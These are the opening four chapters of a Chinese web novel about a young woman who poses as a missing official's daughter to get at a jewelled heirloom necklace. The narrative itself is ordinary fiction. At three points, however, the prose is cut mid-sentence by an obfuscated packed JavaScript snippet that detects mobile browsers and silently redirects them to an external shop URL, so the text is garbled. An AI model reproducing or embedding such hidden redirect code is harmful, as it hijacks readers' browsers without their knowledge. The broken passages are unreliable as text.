《我不叫谈郁李》 1. 第 1 章 艳阳高照,竹林随着热风摇曳,学堂传来整齐缓慢的读书声,不多时一个白面书生左手拿着半开的书往书院走来。 书生另一只手背在身后,摇头晃脑,嘴里念叨着什么诗词,时不时地停下来看一眼泛黄的书页。 走到近前时只听见“翠幌娇深,曲屏香暖,争念岁寒飘泊”,待书生踏入书院之后,却又听见竹林中传来些许声音。 “曲屏香暖,曲屏……这个好听,就当是我的新名字了。” 声音清脆,显然是一个年轻女子。 热风停歇,竹林深处一根竹子仍不停地晃,再细看去,那根竹子原被掰弯了,编了个秋千,而那女子正坐在秋千上。 她只用一根木棍将头发固定在脑后,身着浅灰色布衣,虽看着还算干净,但也像是穿了好些年的旧衣裳了,衣领和袖子被洗得发白。 有了新名字,曲屏毫不顾忌地握紧枝条荡了起来,那灿烂的笑声几乎将读书声掩盖。 “何人在此喧哗?!” 听到呵斥声,她从秋千上一跃而下,没了承重,竹子缓慢地直了回去。 不等那书院中的夫子走出来,曲屏便拍拍衣袖朝前方走去。 她嘴里念叨着:“在这地方待了这么些年,我还是头一次来京城呢,得好好吃一顿才不虚此行。” 好在她这些年也攒了些银子,虽说京城什么都贵,倒也能吃个把月。 这样想着,曲屏便走到了一家看着颇为繁华的酒楼,牌匾上的字又高又瘦还歪歪扭扭的,她顶着正午的太阳看了许久还是没有认出来。 “这地方可真奇怪,有些牌匾上是正楷,有些是隶书,这……”这应该是篆书,繁体字写得端正时她倒也能猜对大半,可这种她就完全认不出来了。 她自来到这个世界就跟着周老爹四处奔波,要不是在现世时读过书,那就完全是大字不识了。 虽说她现在也跟这没差。 “左右不过是个吃饭的地方,再怎么也看不出花来。” 曲屏嘟囔了一句便大步走了进去,到靠近门口的位子坐了下来。 周边的人衣着虽不说有多么繁复精美,但都没有像她的这样旧得发皱,可店小二却没有丝毫轻视。 他肩上搭着汗巾,笑容满面地问道:“这位客官要吃些什么?” 临了,曲屏摸了一下钱袋又有些纠结,便只道:“一道你们店的招牌菜,再来……再来一晚白饭吧。” “好嘞!” 店小二刚欲走,就被曲屏叫住。 “等等,小二,这招牌菜多少银子?”察觉到周边的视线,曲屏只笑嘻嘻地问道。 “客官,咱们店还算实惠的,这道招牌菜也就五十文。” 曲屏看了眼隔壁桌的菜,色泽鲜美,香味扑鼻,她咽了一下口水。 倒是比她预计的便宜不少。 “我若是要那一桌的菜再加上招牌菜多少银子?”听到这话,那桌一个书生模样的少年扭头看了过来。 “客官,那桌点了招牌菜,加上差不多五百文。” “那就点那些了,再给我来壶烈酒,一盘花生米。” 两年前周老爹病死,她可花了一大笔积蓄为他下葬,之后一个人东奔西跑混了两年,才攒了些银子,这才跟着商队来到了京城。 曲屏自顾自地倒了杯茶,这茶香味浅淡,热气浓郁。 她不爱喝茶,觉着太苦,便是好茶也叫她当作解渴一口灌了。 等菜的功夫,楼上却传来激昂地话语声,像是有人在说书。 “……他八岁便是童生,十二岁考上秀才,年仅十七便中了状元,便是先朝也从未有过这么年轻的状元郎呀!” 曲屏抬头看去,却见一个身着宽袖长衫的中年男子,手持折扇一打板。 她支着下巴直乐,这状元郎她早先也听闻过,只知他是历朝最年轻的状元。 其他倒是不知了,就是姓甚名谁都不大清楚。 楼下客人皆仰头看着。 “……状元郎没能成为驸马,偏爱那中侍大夫幼女,婚期将近——” 听到这儿,议论声渐起。 “诶,都快十年了,怎么还在说那谈家姑娘。” “快些讲其他的吧,这事儿我耳朵都要听出茧子来了,怎么又搬出来说?” “还能是什么?不就是因着方大人升官了,成了新任的大理寺卿,方大人这些年又一直没有成亲,当年的那些事便又拿出说了。” “长公主如今孩子都两岁了。” 那说书先生被叫嚷着只得说起了其他的,曲屏倒是意犹未尽。 曲屏见开头说那话的人正是她旁边桌的那个少年书生,她一时好奇,便倾身问道:“小兄弟说的是何人?可否与我细说,我从前倒是从未听过这些。” 少年瞥了她一眼,扭头道:“你不是本地人吧?” 曲屏摇了摇头。 “这事当年闹得还挺大,我那时虽然还小,可也是听着这事儿长大的。”说到这里,少年还颇为骄傲。 “小兄弟快快与我细说。”左右才上了花生米和酒,曲屏索性提着酒壶挪了过去。 “方大人出身寒门,八岁便考中童生——” “这个说书先生方才说了,你说点他没说的。”说着曲屏便举着酒壶欲倒酒,“小兄弟喝酒吗?美酒佳肴才有乐趣。” 少年直摇头,忙用手罩住陶碗,“使不得,使不得,这酒出了名的辛辣,我可喝不来。” “那我与你说些其他的,便是半月前方大人成了新任大理寺卿,听说他当年科举前曾与当时的中侍大夫谈百川的幼女,也就是谈二姑娘感情颇深,那时便订下婚约。可方大人说要考取功名再成亲,哪成想一考就成了状元郎,方大人那年刚满十七,历朝可都没有过这么年轻的状元郎。 “一时风头无两,历年都有榜下捉婿的,那一年长公主却是慕名而来,见了方状元一面,便要请旨让他当驸马爷。方状元说已有婚约,且两情相悦为由拒绝了,长公主也不恼,还与谈二姑娘见了一面,之后竟时常相约祈福踏青,听闻交情甚好,以闺名互称。 “谈二姑娘自小体弱多病,后来身体愈发不好,养了大半年临近婚期,她竟然无故失踪了。方大人遍寻不得,不眠不休地告假奔走了数月也未曾有结果,半年后谈二姑娘的父亲病死。她这一失踪至今未曾寻回,谈家自谈百川死后日渐没落,如今在京城还能有些名声全倚靠着十年前与方大人的一纸婚约。”话了,少年兀自端起陶碗喝了一口淡酒。 “既然失踪了这么久,那方大人怎么不退婚?如今他年纪该不小了。”曲屏不解地问道。 快三十的年纪,在现代都会被催婚,更别提如此重视香火传承的古代了。 少年摇了摇头,道:“只能是因着情深了,方大人幼时父母具丧,考上童生后因着姑姑才迁来京城,虽没什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648616|156578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倚仗,好处便是没有顾忌。婚姻大事全凭他自己做主,就连当今圣上都不会轻易给他赐婚。” 曲屏结巴着说道:“圣……皇上?” 少年点了点头,压低声音解释道:“长公主虽非圣上胞妹,可自小便由先皇后养,二人感情自是与胞兄妹无异。方大人当年可是圣上亲点的状元,又得长公主喜欢,当年都没有赐婚,如今过了这么多年,更是不会了。即便华阳公主再得宠,与长公主终究是不同的。” 说到这里,少年眼睛一扫,低声道:“不过我听说一件事,你要不要听?” 曲屏连连点头,附耳过去。 “听闻方大人有一传家宝,是一个不知传了几百年的项链,上面镶了许多宝石,价值连城,好几次差点失窃呢。” 闻言,曲屏眼睛一亮,忙问道:“那宝石卖……如何才能见到?” 刚说出一个卖字,曲屏便意识到即便并非价值连城她也买不起。 “传家宝这东西,自然是一代传一代,方大人原是要赠予谈二姑娘的,可惜谈二姑娘失踪,如今婚约并未作废,这宝石项链自然不会随意送予他人。”少年白了她一眼,没好气地解释道。 “这是……定情信物?” 少年点了点头,“可以这么说,我也不知道它是什么样子的,不过项链不就是那样嘛,无非不过镶了一些名贵稀有的宝石罢了。” 曲屏却是心动不已。 她当即问道:“小兄弟你说这谈姑娘还能寻到吗?” 若是她将她找到了,这么大的功劳,说不定方大人高兴了就用这项链酬谢她了。 再不济,她找到了,先不说出来,等他答应将项链给她了,她再将谈姑娘送回去。 她这人缺点一大堆,喜欢宝石又是她最大的癖好,当年意外被土匪抓去,本来可以跑的,听到他们说抢了一箱宝石,她愣是在那山窝里待了三个月才得到那些宝石。 可惜后来官兵来了,她只带走一包袱,那时正是灾年,隔壁县城连吃的都捉紧,她看不过眼,便换了不少粮食全接济难民去了。 之后饥荒越来越严重,她险些饿死。 “你傻呀你,谈二姑娘都失踪多少年了,官府找了这么多年都没有找到,你怎么可能找得到?我看你年纪小,怕是还不足十六吧?” “我应该有十七岁了。”曲屏回答。 她没有原身的记忆,刚穿过来时还是一个不足十岁的小女孩,不知具体多少岁,后来耍了些小聪明才得以让周老爹收留。 那时身上很多伤,烧都没退,可废了周老爹不少银子才将身体养好,他之后还天天念叨。 少年又翻了个白眼,“我说的重点是这个吗?” 眼见菜都上齐了,曲屏低声说道:“小兄弟,不瞒你说,我对那项链稀罕得紧,我这些日子先寻法子去找找那谈二姑娘。” 说完她便将长凳挪回去,高兴得吃了起来。 聊了这许久,少年也觉着趣味,便偏头问道:“喂,你叫什么名字?” 曲屏低头看了一眼自己这一身装扮,虽说旧了些,可也是女子装束呀。 遂没好气地说道:“你看不出我是个姑娘吗?你不应该说‘姑娘贵姓’吗?” 少年嘿嘿笑了两声,不知从何处掏了一把折扇出来,扇了扇,只见折扇上写着四个大字——随心所欲。 “我叫曲屏,你呢?”见他笑得灿烂,曲屏也就不再计较。 2. 第 2 章 少年拱手道:“失礼了,在下牧训。” 曲屏来到这个世界之后便没有名字,她不喜欢自己原本的名字,周老爹只开始问过她一次,她谎称不记得了。周老爹平常便只叫她丫头。 其他人都默认她姓周,常唤她周姑娘,久而久之她也自称姓周了。 只是如今寻了个称心名字,她便将这个跟随了她八年的姓氏也舍弃了。 “你这名字倒是随意,但也别有一番趣味。”牧训合上扇子说道。 “这可是我自己取的,我可喜欢了。” 牧训也不拆穿她,只是起身跟她道别,“曲姑娘,今日你我交谈,我心中很是欢喜,自此一别,后会有期。” “后会有期。”曲屏朝他抱了抱拳。 她一个人点了一桌子菜,吃到最后撑得不行,早知道会跟牧训聊起来,她就会去他那儿蹭一顿了,吃又吃不完,还废了好几百文。 看着店小二收拾他那桌几乎原封不动的饭菜,曲屏神情懊恼。 还是得找份差事做才行,坐吃山空终究不是个法子。 曲屏以前跟着周老爹混江湖,全国各地到处混,就是没来过京城。 周老爹轻功不错,也会些拳脚功夫。 听他说他之前常干些偷鸡摸狗的事儿,当然他口中的说辞是“路过顺了点儿东西”,收留了她之后,他就很少干这事儿了,改为行骗。 开始的时候是带着她装可怜,那时她年纪小,身形瘦弱,便只跪着假哭,他在一旁施展些招式,那样也有些铜板,勉强糊口。 她再大些了,他们便又搞些“卖身葬父”这一套,得了银钱就换个地方,倒是有几次被识破差点叫人给打死,她虽也会些轻功,到底不算厉害,三两下就被逮住了。 周老爹脾气暴躁,对她也凶得很,可那些年就是牙齿叫人打落了都没抛下她一个人跑。 相依为命多年,这两年曲屏时常会想起他。 她缓过神来,摇了摇头,心道:眼下先去寻人才是要紧的。 曲屏走老远,回到来京城时路过的一间破庙,那里常有些人聚在那儿。 有江湖人士,也有地痞无赖。 一走近,就见几个衣着破烂的青年在数铜板。 曲屏便开门见山地向他们问起谈姑娘,他们几人倒还真听过这人。 只是都摇头,道:“这都十年过去了,我猜那人保不准是死了,不然哪能这么久还找不着啊。” “是啊是啊,小姑娘,我看你也像是江湖人士,早些年京城倒是也有许多能人异士因着重金去寻,可最后都没个结果。” “之后又有好些人谎称是那谈家姑娘,往那谈宅一站就被人轰了出来,后来谈大人突然病死了,没的赏钱,也就没人去谈宅冒充了。” 赏钱不赏钱的曲屏倒无所谓,她早些年也遇到过一个有钱人,过了数月的富贵日子,贵人死后她就对钱财不再像以前那么渴求了。 她这些年也学了不少本事,在这京城扎根还是没有问题的。 左右不过是老本行,周老爹病重的那一年,行动不便,抓药又费银子,只靠他们之前那一套根本就挣不了几个钱。 那时当地县太爷千金被土匪给绑架了,她为了赏金孤身去了土匪窝,之后便被抓了起来九死一生,好在最后千金得救,她虽没得到赏金却拿走了不少宝石。 可惜那些宝石还没来得及变卖换成银子去买药材,周老爹就病死了。 只是……只是当时还知道是被土匪绑走的,也知道是哪个山头,跟如今这情况却是截然不同。 “那谈家姑娘定是死了,兴许那谈大人也是得知这个才病死的呢。” 曲屏虽没点头,心里却是有些赞同。 毕竟过了十年,便是在现代也难以寻回,更别提这个时代了。 曲屏想起那宝石项链又馋得不行,她沉思片刻,心里便有了主意。 既然是传家宝,那方大人定然不会轻易给她看,更何况摸了。 找回谈姑娘不太现实,可装成她的样子将那项链骗到手把玩一番,还是行得通的。 等玩腻了便还给他。 事情败露了总不至于能丢了性命吧,最多不过在牢房关几天。 她如今居无定所,早些年贵人送她的那些宝贝,她离开时也没能带走。 想着曲屏便问道:“你们可知那谈姑娘长什么样儿?是什么性格?” 干瘦青年哂然一笑,回道:“她好歹是官家小姐,我们哪见过呀,不过听说身体不大好,从小药当饭吃的。之前那些人听说有好几个冒牌货长得跟谈家小姐十分相似都被拆穿了,你这样儿一看就不像千金小姐。” 闻言,曲屏摸了摸脸上干起的皮,尴尬地笑了两声。 其实她包袱里装了两套换洗衣物,其中一条天蓝色襦裙,料子极好,是当初从贵人家穿出来的。 倒是可以换上这身,再好好洗把脸,先去谈宅门口试试。 换上襦裙之后,曲屏在水面上照了照,还是很违和。 她如今这模样穿上这裙子,旁人怕是也会以为这衣服是她偷来的。 花费银钱改头换面又不划算,万一还是被轰出来了,那就真是偷鸡不成蚀把米了。 最后,她抱着试一试的想法,换上另一套更加破旧的衣服,大摇大摆地朝谈宅走去。 到了那儿,倒是出乎她的意料,这谈家原来的当家的病死了,该是大不如前了。可单看装潢倒看不大出来,反而奢侈得紧。 牌匾是楷体,她一眼便认了出来。 曲屏没有在意行人的注视,径直跨上台阶,拿起门环扣了扣。 不多时大门便开了一条缝,露出家丁装扮的人影来。 “你是何人?”家丁上下打量了她两眼,看她灰头土脸,身着破旧,神情颇为嫌弃。 “……我是谈家人。”话音刚落,曲屏还没来及说早就想好的说辞,大门便砰地合上了。 “哪来的疯子?这是得癔症了吧?便是谈家最下等的丫鬟穿得都比你好。” 看着紧闭的大门,曲屏只隔着门板听到了这句话。 果然,这样根本行不通。 走了这老远,曲屏有些不甘心,便又开始拍门。 “我真是你家小姐,你年纪还小,才认不出我,你快些叫宅中的老人出来。” 这话本是她随口说的,没成想那家丁还真叫人去了。 “你且等着!”听着语气不善。 “不会是去叫人把我打一顿吧?”那可就得不偿失了。 曲屏环顾四周,思量着待会儿万一来了几个壮汉打她,她该踩哪里飞过去。 这话可不是玩笑话,她以前还真上过这种当,腿都差点被打折了。 “嘎吱——” 曲屏闻声扭头看向大开的木门,果真站了四个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648617|156578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穿着打手样式衣服的壮汉,她刚要使轻功跑便被叫住了。 “二小姐,您总算回来了,老奴等这一天可等了十年了!”声音中气十足。 曲屏身体一僵,顺着声源看去。 只见一个干瘦老头佝偻着脊背,泪眼汪汪地看着她。 难道……她跟那传闻中的谈小姐长得一模一样? 曲屏虽不太放心,但仍走了过去,照着早先想好的说辞,装作难过的样子说道:“……咳,我不记得您了,十年前我被歹人抓去,那歹人不知给我喂了什么药,以前的事我全不记得了。我被关了好些年,好不容易才趁那人不注意跑了出来,辗转来到京城,却莫名地来到了这儿。我虽不记得,可却觉得您很熟悉,好像以前见过您。” 话落,曲屏又作势揉了揉眼睛,哽咽道:“直到我听说谈家小姐失踪了,我便心知自己八成便是她了。” 老人擦了擦眼泪,像是信了这话,他朝身后的家丁吩咐道:“二小姐回来了,快去告诉李夫人。” 说完老人就热情地引着曲屏进门。 “二小姐不记得了也无妨,你想知道什么直接问丫鬟们就行了。” * 曲屏一屁.股坐在软榻上,到现在她人还是懵的。 这样离谱的说辞,这宅中上下竟全信了她就是失踪十年的谈二小姐。 当家夫人也就是谈二小姐婶婶,还给她送了好几个丫鬟过来伺候她起居。 “这么多年过去,你院里只剩檀香了,先这样住着,有什么需要的直接跟婶婶说,等老爷回来了我跟他说一声。” 全家上下,竟只有谈二小姐的贴身丫鬟不信她。 果然不愧是朝夕相处多年的丫鬟。 曲屏看着站在门口一动不动的檀香,顿了顿,将她叫到跟前,“谈……檀香,我以前是什么样子的?” 檀香之前跟着谈姑娘时年纪应该还小,如今看着也才二十出头的样子。 “我家姑娘生的花容月貌,不是你这般模样。”檀香气呼呼地说道:“我竟不知这宅中的人是怎么了?分明毫无关系的两个人也能认成一个人!你这个冒牌货!” “檀香你有所不知啊,我十年前被江湖盗匪掳走关了八年,不知那恶人给我吃了些什么药,才使得我成了如今这番模样的。”说完,曲屏便掩面哭泣。 檀香却是更加气愤了,闻到曲屏身上没有消散的饭菜香味,她又说道:“我家姑娘自小体弱,药不离身,荤腥不沾。说话哪能像你这般中气十足!” “这八年里,我是干了不少苦力活啊,你看我这手,都是些茧子,许是吃了些乱七八糟的药,又劳作久了,身体阴差阳错好了大半。若我这十年仍是药不离身早病死了。”说完她作势咳了咳,她可是无肉不欢,要她荤腥不沾她可做不到。 听到这话檀香呵斥道:“住嘴!不许咒我家小姐!” “我家姑娘琴棋书画样样精通,我瞧着你也不像个识字的,更别提其他了。” 咳咳,这些她确实不会,连摸都没摸过。 “我失忆了,这些全想不起来了,要不檀香你多与我说说从前的事儿,兴许我之后就想起来了。”曲屏扯了扯檀香的袖口说道。 檀香脸色一变,却没甩开她,而是哼了一声,说道:“我看你能装到什么时候,等老爷回来了,定然一眼就能认出你是个西贝货!” 说完她便大步走出了院子。 3. 第 3 章 檀香一走,其他丫鬟也不敢有什么动作,其中一个看着颇为伶俐的丫鬟小声说道:“二小姐,您不必介怀,檀香姐姐自小就跟着您,感情自然不是我们可以相比的。她说这话想必是多年未见,太过高兴一时不能接受呢。” 曲屏只是笑笑,问道:“你叫什么名字?” “奴婢叫小彤。” “小彤,沉香院这十年有人住吗?” 这院子这么大,却十分干净整洁,不像没人住的样子。 小彤笑着说道:“小姐,这些年您虽不在,但李夫人一直有命人打扫的,檀香姐姐不愿离开这儿,这些年一直都是一个人住沉香院里呢。” “是檀香打扫的?”曲屏诧异道。 “哪能让檀香姐姐干这些活呀,原先每月都会来几个丫鬟婆子洒扫,现在您回来了,这些活就归我们几人管了,小姐有什么吩咐尽管跟我们说。” 小彤看着只有十几岁,倒是丝毫不怯场,曲屏借着失忆问了她好多谈家之事,她一一回答。 曲屏说了句:“那你们先退下吧,我睡会儿。” 顺便熟悉熟悉这里。 “是。”小彤应声领着几个丫鬟退了出去。 一切顺利曲屏自然欣喜,只是这顺利来得蹊跷。 她有些警惕。 按说檀香才是与谈二小姐接触最多的人,她说“毫无关系”那她们的长相应该并无相似之处才对。 谈二小姐体弱,常吃药又荤腥不沾,更是琴棋书画样样精通,她猜测性格应该也很温柔。 这几乎是她的反面。 倒确实是毫不相干的两个人。 她边踱步边理清方才小彤与她所说之事。 谈家祖辈是秀才,到上上一辈才出了个举人县令,直到谈大人也就是谈二小姐的父亲谈观才当上了正五品的中侍大夫,那时正是鼎盛之时,一家子都搬来了京城。 谈家上一辈共五人,谈观排第二,上有一个同父异母的长姐,下有两个弟弟一个幺妹,只有老三谈统与长姐是主母所生。 谈观及冠之年中举,之后便一直做官,而立之年升至中侍大夫,少时与青梅成亲,也就是他的第一任夫人朱氏,乃当地一富商之女。 婚后多年后一直未有所出,谈观便纳了一房妾室。这妾室舞女出身,姓楚,长相艳丽,喜奢华,舞姿极美。 一年后,朱氏竟生下长女,次年,楚氏也诞下一女,这便是那谈二小姐了。 朱氏生下长女不过一年就撒手人寰,半年后谈观就将楚氏抬为正妻。 单从这些看确实有点宠妾灭妻的感觉。 可这些丫鬟都说楚氏性格冷淡,不喜与人交际,也从不处罚家中下人,只是时常不知缘由与谈观争吵,一吵架楚氏便离开谈宅踪迹难寻。 那时谈观总说她是回娘家了,气消了便会回来。果真每次过了一两个月,她又会回到谈府。 谈二小姐也并非自小就体弱,而是七岁那年荡秋千绳子断了嗑在石头上,后脑勺头骨碎裂。本已药石无医,楚氏不知用什么办法从牢中救出一个癫狂老者。 据说那老者正是因为治病治死人了才进的牢房,可谈二小姐竟真被他捡回一条命,身体却大不如从前了,靠吃药度日。 之后便是如檀香所说体弱多病,荤腥不沾。 曲屏看着房间的陈设装潢,她虽不识货,但也能看出其间奢华贵重。 想来该是谈观三弟谈明的功劳,他虽科举落第,没当上官,却是经商好手,如今谈家便是他当家。 不然谈观死了十年,这谈家偌大一家子,上上下下百来口人,没有银钱也很难支撑起来。 想累了曲屏便在软榻上睡了过去。 直到晚间,她才得以见到谈家其他人。 傍晚时分,小彤进来叫醒了她,“二小姐,老爷回来了,他听夫人说您回来了,所以今日一同用晚膳呢,您快些过去,可别让他们久等了。” 闻言,曲屏有些紧张,她根本摸不准后续会如何发展,也不知道他们是真信她是谈二小姐还是另有所图。 可如果另有所图,他们又能图她什么呢? “小彤,你来谈家多久了,之前可有见过我?” 她还是想尽量伪装成谈二小姐的样子,毕竟之前那些借口全是她胡诌的,根本经不起推敲。 她也没想到会如此顺利,还以为管家见了她便会把她给轰走呢! 如今他们信了她的胡诌,她才有些不知该如何应对。 “二小姐,奴婢才进谈家不过五年,自然没见过您,不过啊,我听家中其他待久了的一些丫鬟和嬷嬷说起过您。”小彤看了眼曲屏的神色,继续说道:“二小姐,您对从前之事全然不记得了?” 曲屏点了点头。 跟在小彤身旁,边走边听她说。 “那就不奇怪了,您与我听说的全然不同。” 曲屏心中一咯噔,心道:原来他们都能看出来,那怎么李夫人对我这么热情,还拉着我的手叫我“郁李”。 这称呼也不像乳名,应当就是那谈二小姐的闺名了。 “听说二小姐幼时很是乖巧,且不大与人说话,自生病后性格倒是变了很多,虽说身体不好,可却也贪玩,听说有一次您听闻“状元游街”,便带着檀香姐姐出去玩,回来之后就受了冲撞,病了好些天,之后檀香姐姐就不敢再让您出去了。” “竟还有这事儿?” 小彤点点头,继续说道:“我也是听人说的,他们还说您也并非全然荤腥不沾,只是吃多了就犯恶心,肚子不舒服,因而每次只身体好时才吃少许,尝个味道。” “冉二小姐常与兄弟姊妹聚在一起吟诗饮酒,有时还会烤肉,便是半年前回来探亲,还支了烤架呢,那日正巧是榆少爷生辰。” 说着说着便到了主院,外间站了两个丫鬟,小彤低声说了一句:“这是二小姐。” 那丫鬟闻言抬头看向曲屏,应了一声便引着二人进去,说道:“夫人,二小姐来了。” 元夫人拉过曲屏的手坐下,轻声说道:“郁李如今回来,忘了许多事,你们担待些。” 一旁的李夫人问道:“郁李可还住得惯?想不起来没关系,尽管问他们就成,有什么缺的东西尽管同我说。” 谈家如今虽是谈明当家,掌家之权却归谈统的妻子李氏。 听小彤说元夫人,也就是谈明的妻子,性格过于温软,开始是她掌家,后来出了些问题,便让李夫人掌家了。 曲屏点头,头次遇到这种情况,倒有些拘谨,她张嘴笑道:“挺好的,刚刚睡得挺香的。” 李夫人朗笑两声,吩咐丫鬟,“将菜都端上来吧。” 上菜的功夫,李夫人一一为曲屏介绍起来,仿佛她是初来谈宅之人。 “我是你二婶婶,这是你二叔,那是你三叔三婶。”说着,李夫人便看了眼坐在另一旁的元夫人。 “二叔、三叔,三婶。”曲屏一一叫了。 谈统宽脸阔鼻,皮肤晒得黝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648618|156578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑,看着人高马大,他爽朗地笑道:“好些年不见,七丫头倒是像变了一个——” 说到一半,李夫人横了他一眼,他忙顿住就没再继续说,而是哈哈大笑。 谈明身形纤瘦,窄脸高鼻,颇为俊秀,若不是蓄了短须,倒像是只有三十出头的样子。 他神情舒展,微微颔首,看着心情很是不错。 “同你一辈的除了复儿都成家了,女儿家也都出嫁了,冉儿前段时间才回来过,你少时与她很是要好,她可是想你想得紧呢。” 李夫人说个不停,曲屏原本话也多,只是因着心虚,加上拘谨倒没说什么话,只是笑着点头。 “这是你四哥和四嫂,你从前与你四哥关系极好,他如今在南天书院当夫子。” 曲屏顺着视线看向身着素衣的男子,他看着约摸三十几岁,身材高大,嘴唇紧抿,面容颇为冷峻。 坐在他身侧的女子容貌秀丽,微笑看着她,一笑便露出两个梨涡来。 “四哥、四嫂。” 谈羽灼见曲屏看向他,眉头紧锁,冷声道:“姑娘唤我谈夫子就行。” 曲屏心中一咯噔,他这话便是不承认她是谈二姑娘的意思。 看他神色不对,袁听雪便也没有应声,而是戳了戳他的手肘,轻声询问:“你这是作甚?” 李夫人扫了谈羽灼一眼,责怪道:“知远,你这些年不是常记挂着郁李吗?前些日子我还听冉丫头说你又派人去寻她了,怎么今日郁李回来了你倒说这话了?” 话落,李夫人偏头朝曲屏说道:“郁李,快叫四哥哥,你从前犯错一叫他四哥哥,他就心软了。” 曲屏猜测谈羽灼应该是看出来她不是谈郁李,既然李夫人说他们关系不错,那他自然不乐意。 可如今八字还没一撇,那宝石项链她都还没见到,自然不想离开,便微微福身,顺从地喊道:“郁李见过四哥哥。” 她特意将声音放柔了些许,听着倒也悦耳,只是那行礼姿态却是四不像了。 谈羽灼直直地看着她,停顿了一会儿,拗不过李夫人,终究是点了点头,以作回应。 袁听雪忙笑着说道:“七妹,再喊我一声四嫂。” “……四嫂。” “诶~” 曲屏抬头看去,便被那灿烂的笑容闪得心头一跳。 倒没想到,谈羽灼的妻子竟是这样的性格,长得也是如花似玉,一时心生好感。 “这是你五哥和五嫂。” “五哥、五嫂。” 谈羽云嗯了一声,倒是没说什么。 他身旁的方淳熙也应了一声,淡淡道:“七妹。” 方淳熙看着极为年轻,不到二十岁的样子,浑身散着一股书卷气,容貌却是寻常。 出乎曲屏意料的便是谈羽云,他肌肤雪白,眉眼秀丽,面若好女,看着非但不阴柔反而还有些矜贵斯文。 与他的表字截然不同,只一眼便能猜到他的生母该是怎样一个绝色佳人。 还未等李夫人介绍,谈羽复便凑到曲屏身旁说道:“谈郁李,我是谈羽复呀,听说你失忆了,你怎么连我也忘记了?” 李夫人抬手打了他一下,谈羽复打量着曲屏,眼睛一眨不眨地解释道:“娘,我这不是与七姐多年未见,太过思念这才多问了几句嘛。” 曲屏看着眼前这个过于消瘦的男子,只一眼便注意到右眼下蔓延至脸颊的肉色疤痕。 谈羽复莫名地笑了起来,笑意不达眼底。 4. 第 4 章 他凑到曲屏耳边,低声说道:“谈郁李你也有今天呀,怎么?看我脸上的疤你到现在还心中畅快是吧?” 声音虽低,但紧挨着曲屏的李夫人仍听见了,她斥责道:“都多少年前的事情了,再说你七姐如今不记得这些了。” 谈羽复像是没有听到一般,冷哼一声就坐回原位。 “这是榆儿,是你十弟,你三婶的幼子,正是如今的枢密副承旨呢。这是你弟妹。” 曲屏顺着视线看去,谈寻榆面容坚毅,神色柔和,他的妻子陈迟迟容貌清秀,神情却有些怯弱。 谈寻榆看了眼曲屏,道:“七姐。” 曲屏点头应声,“十弟,弟妹。” 谈寻榆神色不明地看了她一眼,便低下了头。 人全了,菜也上齐了。 谈家倒也没有太多规矩,菜全了便动筷了,曲屏中午的时候虽然吃撑了,本来不饿的,看着桌上的菜,倒有些饥饿感了。 她一开吃便很专注,一时屋内静默无声,就连咀嚼声都静悄悄的,只时不时响起些许木箸磕到瓷碗上的声音。 这一顿比中午还丰盛,贵人病重后曲屏就没怎么吃过这样的佳肴了。 谈家如今虽只有谈寻榆一人当官,且还只是六品的官职,日子倒是过得不错。 只是这谈寻榆是谈明唯一的儿子,却并无经商天赋,反而入仕。 谈统看着便四肢发达,头脑简不简单尚未可知,小彤说他豁达不记仇,会些武艺。 而他的三子谈羽灼当了书院夫子,四子谈羽云偏极会做生意,幼子谈羽复资质平平,若是生在寻常人家。 想到这里,曲屏嗤了一声。 看谈羽复方才那样子,若是像她这样的境况,定然活不到二十,等不到前些年闹饥荒便被人给打死了。 吃了一会儿有些撑,曲屏放下筷子,这才留意到他们全没在吃了。 谈羽复见曲屏不再埋头吃,便直勾勾地看着她,扬唇一笑。 这笑容看着很不舒服,眼中全是挑衅。 接着他便又执起木箸夹了一块牛肉放嘴里,道:“七姐,我们可都在等你吃完呢。” 看样子这谈羽复跟谈郁李有过节。 曲屏笑容淳朴,故意道:“八弟不知姐姐我这些年过得都是些什么苦日子,饭都没吃不饱,自然顾不上劳什子礼节了。” 说完曲屏又装作不好意思道:“是我失礼了。” “哪里哪里,郁李尽管吃,我们家没那么多臭规矩。”李夫人拍了拍曲屏的手背,又低声说道,“复儿的话你就当没听到,他从小就跟你不对付,别搭理他,他自觉没趣儿就不会挑刺了,我这儿子什么德行我清楚。” 曲屏抬头看向谈羽复,笑眯眯地应道:“好嘞,我听二婶的。” 谈羽复果真被她的笑容刺激到,起身就走了。 谈统见此,说了一句:“今日不准出门!” 